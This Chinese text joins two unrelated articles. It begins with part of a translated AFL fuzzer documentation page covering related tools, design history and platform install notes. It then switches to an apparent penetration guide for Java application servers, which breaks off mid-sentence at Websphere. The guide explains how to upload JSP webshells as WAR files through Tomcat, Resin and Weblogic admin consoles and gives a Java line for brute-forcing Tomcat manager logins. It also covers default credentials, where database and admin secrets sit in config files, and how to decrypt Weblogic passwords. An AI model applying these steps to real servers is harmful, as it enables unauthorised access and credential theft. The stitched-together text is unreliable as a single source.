描述：使用附加功能替换`afl-cmin`和`afl-tmin`，例如基于标准错误模式过滤崩溃的能力。
项目地址：<https://github.com/kcwu/afl-kit>
### 1.5 有局限性的或实验性的工具：
**1.5.1 Cygwin support (Ali Rizvi-Santiago)**
描述：正如项目名字所说。根据作者的说法，此项目“主要”将`AFL`移植到`Windows`。欢迎报告`Bug`！
项目地址：<https://github.com/arizvisa/afl-cygwin>
**1.5.2 Pause and resume scripts (Ben Nagy)**
描述：用于简单自动化暂停和恢复`fuzzer`实例组的项目。
项目地址：<https://github.com/bnagy/afl-trivia>
**1.5.3 Static binary-only instrumentation (Aleksandar Nikolich)**
描述：此项目允许对黑盒二进制文件进行静态检测(即，通过提前修改二进制文件，而不是在运行时对其进行转译)。与`QEMU`相比，作者报告了更好的性能，但偶尔会出现无符号二进制文件的转译错误。
项目地址：<https://github.com/vrtadmin/moflow/tree/master/afl-dyninst>
**1.5.4 AFL PIN (Parker Thompson)**
描述：早期的英特尔`PIN`检测支持(在使用运行速度更快的`QEMU`之前)。
项目地址：<https://github.com/mothran/aflpin>
**1.5.5 AFL-style instrumentation in llvm (Kostya Serebryany)**
描述：允许在编译器级别向待测程序注入`AFL`等效代码桩。`AFL`目前不支持这一点，但在其他项目中可能有用。
项目地址：<https://code.google.com/p/address-sanitizer/wiki/AsanCoverage#Coverage_counters>
**1.5.6 AFL JS (Han Choongwoo)**
描述：此项目提供一次性优化以加速针对`JavaScriptCore`的模糊测试(现在可能被`LLVM`延迟`forkserver init`取代——请参阅
`llvm_mode/README.llvm`)。
项目地址：<https://github.com/tunz/afl-fuzz-js>
**1.5.7 AFL harness for fwknop (Michael Rash)**
描述：此项目提供与`AFL`进行相当复杂的集成的一个例子。
项目地址：<https://github.com/mrash/fwknop/tree/master/test/afl>
**1.5.8 Building harnesses for DNS servers (Jonathan Foote, Ron Bowes)**
描述：这两篇文章概述了一般原则并展示了一些示例代码。
项目地址1：<https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop>
项目地址2：<https://goo.gl/j9EgFf>
**1.5.9 Fuzzer shell for SQLite (Richard Hipp)**
描述：一个简单的`SQL shell`，专为对其底层库进行`fuzz`而设计。
项目地址：<http://www.sqlite.org/src/artifact/9e7e273da2030371>
**1.5.10 Support for Python mutation modules (Christian Holler)**
项目地址：<https://github.com/choller/afl/blob/master/docs/mozilla/python_modules.txt>
**1.5.11 Support for selective instrumentation (Christian Holler)**
项目地址：<https://github.com/choller/afl/blob/master/docs/mozilla/partial_instrumentation.txt>
**1.5.12 Kernel fuzzing (Dmitry Vyukov)**
描述：应用于对系统调用进行`fuzz`的类似指导方法
项目地址1：<https://github.com/google/syzkaller/wiki/Found-Bugs>
项目地址2：<https://github.com/dvyukov/linux/commit/33787098ffaaa83b8a7ccf519913ac5fd6125931>
项目地址3：<http://events.linuxfoundation.org/sites/events/files/slides/AFL%20filesystem%20fuzzing%2C%20Vault%202016_0.pdf>
**1.5.13 Android support (ele7enxxh)**
描述：此项目基于有点过时的`AFL`版本。
项目地址：<https://github.com/ele7enxxh/android-afl>
**1.5.14 CGI wrapper (floyd)**
描述：此项目提供对`CGI`脚本进行`fuzz`的能力。
项目地址：<https://github.com/floyd-fuh/afl-cgi-wrapper>
**1.5.15 Fuzzing difficulty estimation (Marcel Boehme)**
描述：此项目是`AFL`的一个分支，试图量化在模糊测试工作中的任何一点找到额外路径或崩溃的可能性。
项目地址：<https://github.com/mboehme/pythia>
## 2\. historical_notes.txt(前世今生)
本文档讨论了`American Fuzzy Lop`的一些高级设计决策的基本原理。它是从与`Rob
Graham`的讨论中采用的。有关一般说明手册，请参阅自述文件，有关其他实施级别的见解，请参阅`technology_details.txt`。
### 2.1 研究背景
简而言之，`afl-fuzz`的设计灵感主要来自于`Tavis
Ormandy`在`2007`年所做的工作。`Tavis`做了一些非常有说服力的实验，使用`gcov`块覆盖从大量数据中选择最佳测试用例，然后使用它们作为传统模糊测试工作流程的起点。(所谓“有说服力”是指发现并消除大量有趣的漏洞。)
与此同时，`Tavis`和我都对优化模糊测试感兴趣。`Tavis`进行了他的实验，而我正在开发一种名为`bunny-the-fuzzer`的工具，该工具于`2007`年在某个地方发布。
`Bunny`使用了一种与`afl-fuzz`没有太大区别的生成算法，但也尝试推理各种输入位与程序内部状态之间的关系，希望从中得出一些额外的优化点。推理相关部分可能部分受到`Will
Drewry`和`Chris Evans`大约同时完成的其他项目的启发。
状态相关的`fuzz`方法在理论上听起来很吸引人，但这最终使模糊器变得复杂、脆弱且使用起来很麻烦——每个其他目标程序都需要进行一两次调整。因为`Bunny`的表现并不比不那么复杂的蛮力工具好多少，所以我最终决定将其放弃。您仍然可以在以下位置找到其原始文档：<https://code.google.com/p/bunny-the-fuzzer/wiki/BunnyDoc>
此外，也有相当数量的独立工作。最值得注意的是，那年早些时候，`Jared
DeMott`在`Defcon`上做了一个关于覆盖率驱动的模糊器的演讲，该模糊器依赖于覆盖率作为适应度函数。
`Jared`的方法与`afl-fuzz`所做的并不完全相同，但它在同一个范围内。他的模糊器试图用单个输入文件明确解决最大覆盖率；相比之下，`afl`只是选择做一些新事情的案例(这会产生更好的结果——请参阅`Technical_details.txt`)。
几年后，`Gabriel
Campana`发布了`fuzzgrind`，这是一个完全依赖`Valgrind`的工具和一个约束求解器，可以在没有任何蛮力位的情况下最大化覆盖率；和微软研究人员广泛讨论了他们仍然非公开的、基于求解器的`SAGE`框架。
在过去六年左右的时间里，我还看到了相当多的学术论文涉及智能模糊测试(主要关注符号执行)和几篇讨论具有相同目标的遗传算法的概念验证应用的论文心里。我不相信大多数这些实验的实用性。我怀疑他们中的许多人都受到了`bunny-the-fuzzer`的诅咒，即在纸上和精心设计的实验中很酷，但未能通过最终测试，即能够在其他经过充分模糊的真实世界中找到新的、有价值的安全漏洞软件。
在某些方面，好的解决方案必须与之竞争的基线比看起来要令人印象深刻得多，这使得竞争对手很难脱颖而出。对于一个单一的例子，请查看`Gynvael`和`Mateusz
Jurczyk`的工作，将“愚蠢”模糊测试应用于`ffmpeg`，现代浏览器和媒体播放器的一个突出且安全关键的组件：<http://googleonlinesecurity.blogspot.com/2014/01/ffmpeg-and-thousand-fixes.html>
在同样复杂的软件中使用最先进的符号执行轻松获得可比较的结果似乎仍然不太可能，并且到目前为止还没有在实践中得到证明。
但我离题了；归根结底，归因是困难的，夸耀`AFL`背后的基本概念可能是在浪费时间。魔鬼往往存在于经常被忽视的细节中，让我们继续往下看……
### 2.2 设计目标
简而言之，我相信`afl-fuzz`的当前实现可以解决一些其他工具似乎无法解决的问题：
1. 速度。当您的自动化测试方法是资源密集型时，真的很难与蛮力竞争。如果您的检测使发现错误的可能性增加`10`倍，但运行速度却降低`100`倍，那么您的测试过程就会受到不利影响。为了避免您在使用时遇到困难，`afl-fuzz`旨在让您以大致相同的原始速度模糊大多数预期目标——因此即使它没有增加价值，您也不会损失太多。最重要的是，该工具利用以多种方式检测减少实际工作量。例如，仔细修剪语料库或跳过输入文件中的非功能性但不可修剪的内容。
2. 坚如磐石的可靠性。如果您的方法脆弱且意外失败，则很难与蛮力竞争。自动化测试很有吸引力，因为它易于使用且可扩展；任何违反这些原则的行为都是一种不受欢迎的权衡，这意味着您的工具将被较少使用并且结果不一致。大多数基于符号执行、污点跟踪或复杂的语法感知工具的方法目前对于实际的待测目标相当不可靠。也许更重要的是，它们的故障模式会使它们比“愚蠢”工具更糟糕，而且这种退化对于经验不足的用户来说很难注意到和纠正。相比之下，`afl-fuzz`被设计得坚如磐石，主要是通过保持简单的逻辑。事实上，从本质上讲，它被设计为一个非常好的传统模糊器，具有广泛的有趣且经过充分研究的策略。额外的部分只是帮助它把精力集中在最重要的地方。
3. 简单。测试框架的作者可能是唯一真正了解该工具提供的所有设置的影响的人——并且可以恰到好处地调整这些设置。然而，即使是最基本的模糊测试框架也经常带有无数的设置项和需要操作员提前猜测的模糊测试比率。这弊大于利。AFL 旨在尽可能避免这种情况。您可以使用的三个设置项是输出文件、内存限制以及覆盖默认自动校准超时的能力。其余的应该工作。如果没有，用户友好的错误消息会概述可能的原因和解决方法，并让您立即回到正轨。
4. 可结合性。大多数通用`fuzzer`不能轻易用于资源匮乏或交互繁重的工具，需要创建自定义的进程内`fuzzer`或大量`CPU`能力的消耗(其中大部分浪费在与任务没有直接关系的任务上)`AFL`试图通过允许用户使用更轻量级的目标(例如，独立的图像解析库)来创建有趣的测试用例的小型语料库，这些测试用例可以输入到手动测试过程或稍后的`UI`工具中，从而解决这个问题。
正如`technical_details.txt`中提到的，`AFL`不是通过系统地应用单一的总体`CS`概念来实现这一切的，而是通过试验各种小的、互补的方法，这些方法被证明能可靠地产生比偶然更好的结果。这些工具的使用是该工具包的一部分，但远不是最重要的。
归根结底，重要的是`afl-fuzz`旨在发现很酷的错误——并且在这方面有着非常强大的记录。
## 3\. INSTALL(安装说明)
本文档提供基本安装说明并讨论各种平台的已知问题。有关一般说明手册，请参阅自述文件。
### 3.1 Linux on x86
`AFL`在该平台预计会运行良好。使用以下命令编译程序：
$ make
您可以在不安装的情况下开始使用 fuzzer，但也可以通过以下方式安装它：
# make install
此软件包没有特殊的依赖关系需要安装，您将需要`GNU
make`和一个工作编译器(`gcc`或`clang`)。一些与程序捆绑在一起的可选脚本可能依赖于`bash`、`gdb`和类似的基本工具。
如果您正在使用`clang`，请查看`llvm_mode/README.llvm`；与传统方法相比，`LLVM`集成模式可以提供显着的性能提升。
您可能需要更改多个设置以获得最佳结果(最值得注意的选项是是否禁用崩溃报告实用程序并切换到不同的`CPU`调控器)，但`afl-fuzz`会在必要时指导您完成相关设置。
### 3.2 OpenBSD, FreeBSD, NetBSD on x86
与`Linux`类似，`AFL`在这些平台预计运行良好并将在这些平台进行定期测试。您可以用`GNU make`编译：
$ gmake
请注意，`BSD
make`将不工作。如果您的系统上没有`gmake`，请先安装它。与在`Linux`上一样，您可以在不安装的情况下使用`fuzzer`本身，或者通过以下方式安装：
# gmake install
请记住，如果您使用`csh`作为`shell`，自述文件和其他文档中给出的某些`shell`命令的语法会有所不同。
`llvm_mode`需要动态链接的、完全可操作的`clang`安装。至少在`FreeBSD`上，`clang`二进制文件是静态的并且不包含一些必要的工具，所以如果你想让它工作，你可能需要按照`llvm_mode/README.llvm`中的说明进行操作。
除此之外，一切都应该像文档所述的那样工作。
`QEMU`模式目前仅在`Linux`上受支持。但我认为这只是一个`QEMU`问题，因为我根本无法获得在`BSD`上正常工作的用户模式仿真支持的普通程序。
### 3.3 MacOS X on x86
`MacOS X`上`AFL`应该可以正常工作，但由于平台的特性，验证这一点存在一些问题。最重要的是，我的测试能力有限，框架的运行情况主要依赖于用户反馈。
要构建`AFL`，请安装`Xcode`并按照适用于`Linux`的一般说明进行操作。
`Xcode 'gcc'`工具只是`clang`的一个包装器，所以一定要使用`afl-clang`来编译任何检测过的二进制文件`afl-gcc`将失败，除非您从其他来源安装了`GCC`(在这种情况下，请指定`AFL_CC`和`AFL_CXX`以指向“真正的”`GCC`二进制文件)。
该平台只能进行`64`位编译；由于`OS X`处理重定位的方式，移植`32`位工具需要相当多的工作，而今天，几乎所有的`MacOS X`机器都是
`64`位的。
`MacOS X`默认附带的崩溃报告守护程序会导致模糊测试问题。您需要按照此处提供的说明将其关闭：<http://goo.gl/CCcd5u>
与其他`unix`系统相比，`OS X`上的`fork()`语义有点不寻常，而且绝对不符合`POSIX`标准。这意味着两件事：
* `Fuzzing`可能比在`Linux`上慢。事实上，有些人报告说，通过在`MacOS X`上的`Linux VM`中运行作业，可显着提高性能。
* 一些不可移植的、特定于平台的代码可能与`AFL forkserver`不兼容。如果遇到任何问题，请在启动`afl-fuzz`之前在环境中设置 `AFL_NO_FORKSRV=1`。
`MacOS X`似乎不支持`QEMU`的用户仿真模式，因此黑盒检测模式(`-Q`)将不起作用。
`llvm_mode`需要完整运行的`clang`安装。`Xcode`附带的那个缺少一些基本的头文件和辅助工具。有关如何从头构建编译器的建议，请参见`llvm_mode/README.llvm`。
### 3.4 Linux or *BSD on non-x86 systems
`AFL`的标准构建将在非`x86`系统上失败，但您应该能够利用其中的两个模式：
* `LLVM`模式(参见`llvm_mode/README.llvm`)，它不依赖于`x86`特定的程序集做基础。它快速而强大，但需要完整安装`clang`。
* `QEMU`模式(参见`qemu_mode/README.qemu`)，也可用于对跨平台二进制文件进行模糊测试。它更慢且更不稳定，但即使您没有测试应用程序的源代码，也可以使用它。
如果您不确定自己需要什么，则需要`LLVM`模式。要获得它，请尝试：
$ AFL_NO_X86=1 gmake && gmake -C llvm_mode
…并使用`afl-clang-fast`或`afl-clang-fast++`编译您的目标程序，而不是传统的`afl-gcc`或`afl-clang`包装器。
### 3.5 Solaris on x86
据用户报告，`fuzzer`可以在`Solaris`上运行，但我没有亲自测试过，而且用户群相当小，所以我没有很多反馈报告以供参考。
为了让构建顺利进行，您需要使用`GNU
make`和`GCC`或`clang`。有人告诉我，平台附带的`GCC`的特定版本无法正常工作，因为它依赖于`as`的硬编码位置(其将完全忽略`-B`参数或`$PATH`)。
要解决此问题，您可能需要从源代码构建标准`GCC`，如下所示：
$ ./configure --prefix=$HOME/gcc --with-gnu-as --with-gnu-ld \
--with-gmp-include=/usr/include/gmp --with-mpfr-include=/usr/include/mpfr
$ make
$ sudo make install
注意不要指定`--with-as=/usr/gnu/bin/as`——这将产生一个忽略`-B`标志的`GCC`二进制文件，你将回到默认情况。
请注意，据报道`Solaris`启用了崩溃报告，这会导致崩溃被误解为挂起的问题，类似于`Linux`和`MacOS
X`的陷阱。`AFL`不会在此特定平台上自动检测崩溃报告，但您可能需要运行以下命令：
$ coreadm -d global -d global-setid -d process -d proc-setid -d kzone -d log
`QEMU`的用户模拟模式在`Solaris`上不可用，因此黑盒检测模式(`-Q`)将不起作用。
### 3.6 其他的系统版本
在这些系统版本上构建就要靠你自己了。在符合`POSIX`的系统上，您可以编译和运行`AFL`；`LLVM`模式可能提供一种检测非`x86`代码的方法。
`AFL`不会在`Windows`上运行。它也不会在`Cygwin`下工作。它可以很容易地移植到后一个平台，但这是一个非常糟糕的主意，因为
`Cygwin`非常慢。使用`VirtualBox`左右运行硬件加速的`Linux
VM`更有意义；它的运行速度会快`20`倍左右。如果您有一个真正引人注目的`Cygwin`用例，请告诉我。
尽管`x86`上的`Android`理论上应该可以工作，但库存内核可能已编译出`SHM`支持，如果是这样，您可能必须首先解决该问题。您可能只需要以下解决方法：<https://github.com/pelya/android-shmem>
`Joshua J.
Drake`指出，`Android`链接器添加了一个`shim`，可以自动拦截`SIGSEGV`和相关信号。为了解决这个问题并能够看到崩溃，你需要把它放在模糊程序的开头：
signal(SIGILL, SIG_DFL);
signal(SIGABRT, SIG_DFL);
signal(SIGBUS, SIG_DFL);
signal(SIGFPE, SIG_DFL);
signal(SIGSEGV, SIG_DFL);
您可能需要先`#include <signal.h>`。 | 社区文章 |
**作者：园长**
## java应用服务器
* * *
Java应用服务器主要为应用程序提供运行环境，为组件提供服务。Java 的应用服务器很多，从功能上分为两类：JSP 服务器和 Java EE 服务器。
### 常见的Server概述
常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy
Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application
Server、ColdFusion、Apusic Application Server、Sun Application Server
、Oracle9i/AS、Sun Java System Application Server。
Myeclipse比较方便的配置各式各样的Server，一般只要简单的选择下Server的目录就行了。

部署完成后启动进入各个Server的后台：

### 构建WebShell war文件
1、打开Myeclipse新建Web项目
2、把jsp放到WebRoot目录下
3、导出项目为war文件

## Tomcat
* * *
Tomcat 服务器是一个免费的开放源代码的Web
应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。
### Tomcat版本
Tomcat主流版本:5-6-7，最新版Tomcat8刚发布不久。Tomcat5较之6-7在文件结构上有细微的差异，6-7-8没有大的差异。最新版的Tomcat8主要新增了：Servlet
3.1, JSP 2.3, EL 3.0 and Web Socket 1.0支持。
版本详情说明：<http://tomcat.apache.org/whichversion.html>
结构目录：
Tomcat5：
Bin、common、conf、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、Server、shared、Temp、webapps、work
Tomcat6-8：
Bin、conf、lib、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、temp、webapps、work
关注conf和webapps目录即可。conf目录与非常重要的tomcat配置文件比如登录帐号所在的tomcat-users.xml；域名绑定目录、端口、数据源(部分情况)、SSL所在的server.xml；数据源配置所在的context.xml文件，以及容器初始化调用的web.xml。
源码下载：
Tomcat6：<http://svn.apache.org/repos/asf/tomcat/tc6.0.x/tags/TOMCAT_6_0_18/>
Tomcat7：<http://svn.apache.org/repos/asf/tomcat/tc7.0.x/trunk/>
### Tomcat默认配置
#### 1、tomcat-users.xml
Tomcat5默认配置了两个角色：tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。不过都不具备直接部署应用的权限，默认需要有manager权限才能够直接部署war包，Tomcat5默认需要安装Administration
Web Application。Tomcat6默认没有配置任何用户以及角色，没办法用默认帐号登录。
配置详解：<http://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#Introduction>
#### 2、context.xml
Tomcat的上下文，一般情况下如果用Tomcat的自身的数据源多在这里配置。找到数据源即可用对应的帐号密码去连接数据库。
<Context>
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<Resource name="jdbc/u3" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000"
username="xxxxx" password="xxxx" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://192.168.0.xxx:3306/xxx?autoReconnect=true"/>
</Context>
#### 3、server.xml
Server这个配置文件价值非常高，通常的访问端口、域名绑定和数据源可以在这里找到，如果想知道找到域名对应的目录可以读取这个配置文件。如果有用Https，其配置也在这里面能够找到。
#### 4、web.xml
web.xml之前讲MVC的时候有提到过，项目初始化的时候会去调用这个配置文件这个文件一般很少有人动但是不要忽略其重要性，修改web.xml可以做某些YD+BT的事情。
### Tomcat获取WebShell
#### Tomcat后台部署war获取WebShell
登录tomcat后台：<http://xxx.com/manager/html，一般用`WAR> file to deploy`就行了，`Deploy
directory or WAR file located on server`这种很少用。
1>Deploy directory or WAR file located on server
Web应用的URL入口、XML配置文件对应路径、WAR文件或者该Web应用相对于/webapps目录的文件路径，然后单击
按钮，即可发布该Web应用，发布后在Application列表中即可看到该Web应用的信息。这种方式只能发布位于/webapps目录下的Web应用。
2>WAR file to deploy
选择需要发布的WAR文件，然后单击Deploy，即可发布该Web应用，发布后在Application列表中即可看到该Web应用的信息。这种方式可以发布位于任意目录下的Web应用。
其中，第二种方式实际上是把需要发布的WAR文件自动复制到/webapps目录下，所以上述两种方式发布的Web应用都可以通过在浏览器地址栏中输入<http://localhost:8080/Web进行访问。>

Tips:
当访问xxxx.com找不到默认管理地址怎么办?
1:http://xxxx.com/manager/html 查看是否存在
2:ping xxxx.com 获取其IP地址，在访问：http://111.111.111.111/manager/html
3:遍历server.xml配置读取配置
### Tomcat口令爆破
Tomcat登录比较容易爆破，但是之前说过默认不对其做任何配置的时候爆破是无效的。
Tomcat的认证比较弱，Base64(用户名:密码)编码，请求：”
/manager/html/”如果响应码不是401（未经授权：访问由于凭据无效被拒绝。）即登录成功。
conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes()));
### Tomcat漏洞
Tomcat5-6-7安全性并不完美，总是被挖出各种稀奇古怪的安全漏洞。在CVE和Tomcat官网也有相应的漏洞信息详情。
#### 怎样找到Tomcat的历史版本:
<http://archive.apache.org/dist/tomcat/>
#### Tomcat历史版本漏洞?
Tomcat官网安全漏洞公布：
Apache Tomcat - Apache Tomcat 5 漏洞： <http://tomcat.apache.org/security-5.html>
Apache Tomcat - Apache Tomcat 6 漏洞： <http://tomcat.apache.org/security-6.html>
Apache Tomcat - Apache Tomcat7 漏洞： <http://tomcat.apache.org/security-7.html>
CVE 通用漏洞与披露:
[http://cve.scap.org.cn/cve_list.php?keyword=tomcat&action=search&p=1](http://cve.scap.org.cn/cve_list.php?keyword=tomcat&action=search&p=1)
Cvedetails ： <http://www.cvedetails.com/product/887/Apache-Tomcat.html?vendor_id=45><http://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/Apache-Tomcat.html>
Sebug: <http://sebug.net/appdir/Apache+Tomcat>
#### 怎样发现Tomcat有那些漏洞?
1、通过默认的报错页面（404、500等）可以获取到Tomcat的具体版本，对照Tomcat漏洞。
2、利用WVS之类的扫描工具可以自动探测出对应的版本及漏洞。
#### 怎样快速确定是不是Tomcat?
请求响应为:Server:Apache-Coyote/1.1 就是tomcat了。
#### Tomcat稀奇古怪的漏洞：
Tomcat的安全问题被爆过非常多，漏洞统计图：
有一些有意思的漏洞，比如：Insecure default password CVE-2009-3548(影响版本: 6.0.0-6.0.20)
The Windows installer defaults to a blank password for the administrative
user. If this is not changed during the install process, then by default a
user is created with the name admin, roles admin and manager and a blank
password.在windows安装版admin默认空密码漏洞，其实是用户安装可能偷懒，没有设置密码…
这样的问题在tar.gz和zip包里面根本就不会存在。有些漏洞看似来势汹汹其实鸡肋得不行如：Unexpected file deletion in work
directory CVE-2009-2902 都已经有deploy权限了，闹个啥。
Tomcat非常严重的漏洞（打开Tomcat security-5、6、7.html找）：
Important: Session fixation CVE-2013-2067 (6.0.21-6.0.36)
Important: Denial of service CVE-2012-3544 (6.0.0-6.0.36)
Important: Denial of service CVE-2012-2733 (6.0.0-6.0.35)
Important: Bypass of security constraints CVE-2012-3546 (6.0.0-6.0.35)
Important: Bypass of CSRF prevention filter CVE-2012-4431 (6.0.30-6.0.35)
Important: Denial of service CVE-2012-4534 (6.0.0-6.0.35)
Important: Information disclosure CVE-2011-3375 (6.0.30-6.0.33)
Important: Authentication bypass and information disclosure CVE-2011-3190 (6.0.0-6.0.33) (………………………………………………….)
Important: Directory traversal CVE-2008-2938 (6.0.18)
Important: Directory traversal CVE-2007-0450 (6.0.0-6.0.9)
如果英文亚历山大的同学，对应的漏洞信息一般都能够在中文的sebug找到。
Sebug：
CVE 通用漏洞与披露：
## Resin
* * *
Resin是CAUCHO公司的产品，是一个非常流行的application
server，对servlet和JSP提供了良好的支持，性能也比较优良，resin自身采用JAVA语言开发。
Resin比较有趣的是默认支持PHP! Resin默认通过Quercus
动态的去解析PHP文件请求。（Resin3也支持，详情：<http://zone.wooyun.org/content/2467>）
### Resin版本
Resin主流的版本是Resin3和Resin4，在文件结构上并没有多大的变化。Resin的速度和效率非常高，但是不知怎么Resin似乎对Quercus
更新特别多。
4.0.x版本更新详情：<http://www.caucho.com/resin-4.0/changes/changes.xtp>
3.1.x版本更新详情：<http://www.caucho.com/resin-3.1/changes/changes.xtp>
### Resin默认配置
#### 1、resin.conf和resin.xml
Tomcat和Rsin的核心配置文件都在conf目录下，Resin3.1.x
默认是resin.conf而4.0.x默认是resin.xml。resin.conf/resin.xml是Resin最主要配置文件，类似Tomcat的server.xml。
#### 1>数据源:
第一节的时候有谈到resin数据源就是位于这个文件，搜索database（位于server标签内）即可定位到具体的配置信息。
#### 2>域名绑定
搜索host即可定位到具体的域名配置，其中的root-directory是域名绑定的对应路径。很容易就能够找到域名绑定的目录了。
<host id="javaweb.org" root-directory=".">
<host-alias-regexp>^([^/]*).javaweb.org</host-alias-regexp>
<web-app id="/" root-directory="D:/web/xxxx/xxxx"/>
</host>
### Resin默认安全策略
#### 1>管理后台访问权限
Resin比较BT的是默认仅允许本机访问管理后台，这是因为在resin.conf当中默认配置禁止了外部IP请求后台。
<resin:set var="resin_admin_external" value="false"/>
修改为true外部才能够访问。
#### 2>Resin后台管理密码
Resin的管理员密码需要手动配置，在resin.conf/resin.xml当中搜索management。即可找到不过需要注意的是Resin的密码默认是加密的，密文是在登录页自行生成。比如admin加密后的密文大概会是：yCGkvrQHY7K8qtlHsgJ6zg==
看起来仅是base64编码不过不只是admin默认的Base64编码是：YWRtaW4=
Resin,翻了半天Resin终于在文档里面找到了：<http://www.caucho.com/resin-3.1/doc/resin-security.xtp>

虽说是MD5+Base64加密但是怎么看都有点不对，下载Resin源码找到加密算法：
package com.caucho.server.security.PasswordDigest
这加密已经没法反解了，所以就算找到Resin的密码配置文件应该也没法破解登录密码。事实上Resin3的管理后台并没有其他Server（相对JBOSS和Weblogic）那么丰富。而Resin4的管理后台看上去更加有趣。
Resin4的加密方式和Resin3还不一样改成了SSHA：
admin_user : admin
admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi
详情：<http://www.caucho.com/resin-4.0/admin/security.xtp>
Resin3：
Resin4：
### Resin获取WebShell
As of Resin 4.0.0, it is now possible to deploy web applications remotely to a
shared repository that is distributed across the cluster. This feature allows
you to deploy once to any triad server and have the application be updated
automatically across the entire cluster. When a new dynamic server joins the
cluster, the triad will populate it with these applications as well.
Web Deploy war文件大概是从4.0.0开始支持的，不过想要在Web
deploy一个应用也不是一件简单的事情，首先得先进入后台。然后还得以Https方式访问。不过命令行下部署就没那没法麻烦。Resin3得手动配置web-app-deploy。 最简单的但又不爽办法就是想办法把war文件上传到resin-pro-3.1.13webapps目录下，会自动部署（就算Resin已启动也会自动部署，不影响已部署的应用）。
Resin3部署详情：<http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp>
Resin4部署War文件详情：<http://www.caucho.com/resin-4.0/admin/deploy.xtp>
Resin4进入后台后选择Deploy,不过还得用SSL方式请求。Resin要走一个”非加密通道”。
To deploy an application remotely: log into the resin-admin console on any
triad server. Make sure you are connecting over SSL, as this feature is not
available over a non-encrypted channel. Browse to the "webapp" tab of the
resin-admin server and at the bottom of the page, enter the virtual host, URL,
and local .war file specifying the web application, then press "Deploy". The
application should now be deployed on the server. In a few moments, all the
servers in the cluster will have the webapp.

Resin4敢不敢再没节操点？默认HTTPS是没有开的。需要手动去打开:
conf
esin.properties
# https : 8443
默认8443端口是关闭的，取消这一行的注释才能够使用HTTPS方式访问后台才能够Web Deploy war。
部署成功访问: <http://localhost:8080/GetShell/Customize.jsp> 即可获取WebShell。
### Resin漏洞
Resin相对Tomcat的安全问题来说少了很多，Cvedetails上的Resin的漏洞统计图：
Cvedetails统计详情： <http://www.cvedetails.com/product/993/Caucho-Technology-Resin.html?vendor_id=576>
Cvedetails漏洞详情： <http://www.cvedetails.com/vulnerability-list/vendor_id-576/product_id-993/Caucho-Technology-Resin.html>
CVE 通用漏洞与披露：
[http://cve.scap.org.cn/cve_list.php?keyword=resin&action=search&p=1](http://cve.scap.org.cn/cve_list.php?keyword=resin&action=search&p=1)
Resin3.1.3:
Fixed BugList: <http://bugs.caucho.com/changelog_page.php>
## Weblogic
* * *
WebLogic是美国bea公司出品的一个application server确切的说是一个基于Javaee架构的中间件，BEA
WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
### Weblogic版本
Oracle简直就是企业应用软件终结者，收购了Sun那个土鳖、Mysql、BAE
Weblogic等。BAE在2008初被收购后把BAE终结在Weblogic
10。明显的差异应该是从10.x开始到最新的12c。这里主要以Weblogic9.2和最新的Weblogic 12c为例。
### Weblogic默认配置
Weblogic默认端口是7001，Weblogic10g-12c默认的管理后台是：<http://localhost:7001/console>
Weblogic10 以下默认后台地址是：<http://192.168.80.1:7001/console/login/LoginForm.jsp>
管理帐号是在建立Weblogic域的时候设置的。
Weblogic控制台：
[enter link description
here](http://static.wooyun.org/20141017/2014101711455629318.png)
Weblogic10以下默认管理帐号:weblogic密码：weblogic。关于Weblogic10++的故事还得从建域开始，默认安装完Weblogic后需要建立一个域。
### WebLogic中的"域"?
域环境下可以多个 WebLogic Server或者WebLogic Server 群集。域是由单个管理服务器管理的 WebLogic
Server实例的集合。
Weblogic10++域默认是安装完成后由用户创建。帐号密码也在创建域的时候设置，所以这里并不存在默认密码。当一个域创建完成后配置文件和Web应用在：Weblogic12user_projectsdomains”域名”。
### Weblogic 默认安全策略
### 1、Weblogic默认密码文件:
Weblogic 9采用的3DES（三重数据加密算法）加密方式，Weblogic 9默认的管理密码配置文件位于：
weblogic_9weblogic92samplesdomainswl_serverserversexamplesServersecurityoot.properties
#### boot.properties：
# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013
username={3DES}fy709SQ4pCHAFk+lIxiWfw==
password={3DES}fy709SQ4pCHAFk+lIxiWfw==
Weblogic 12c采用了AES对称加密方式，但是AES的key并不在这文件里面。默认的管理密码文件存放于：
Weblogic12user_projectsdomainsase_domainserversAdminServersecurityoot.properties
(base_domain是默认的”域名”)。
#### boot.properties：
boot.properties：
# Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013
username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE=
password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=
怎样解密Weblogic密码?
Weblogic 12c：
Weblogic12user_projectsdomainsase_domainsecuritySerializedSystemIni.dat
Weblogic 9：
weblogic_9weblogic92samplesdomainswl_serversecuritySerializedSystemIni.dat
解密详情：<http://drops.wooyun.org/tips/349>
、<http://www.blogjava.net/midea0978/archive/2006/09/07/68223.html>
### 2、Weblogic数据源(JNDI)
Weblogic如果有配置数据源，那么默认数据源配置文件应该在：
Weblogic12user\_projectsdomainsase\_domainconfigconfig.xml
### Weblogic获取Webshell 
Weblogic 9 GetShell： <http://drops.wooyun.org/tips/402>
## Websphere
* * *
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web
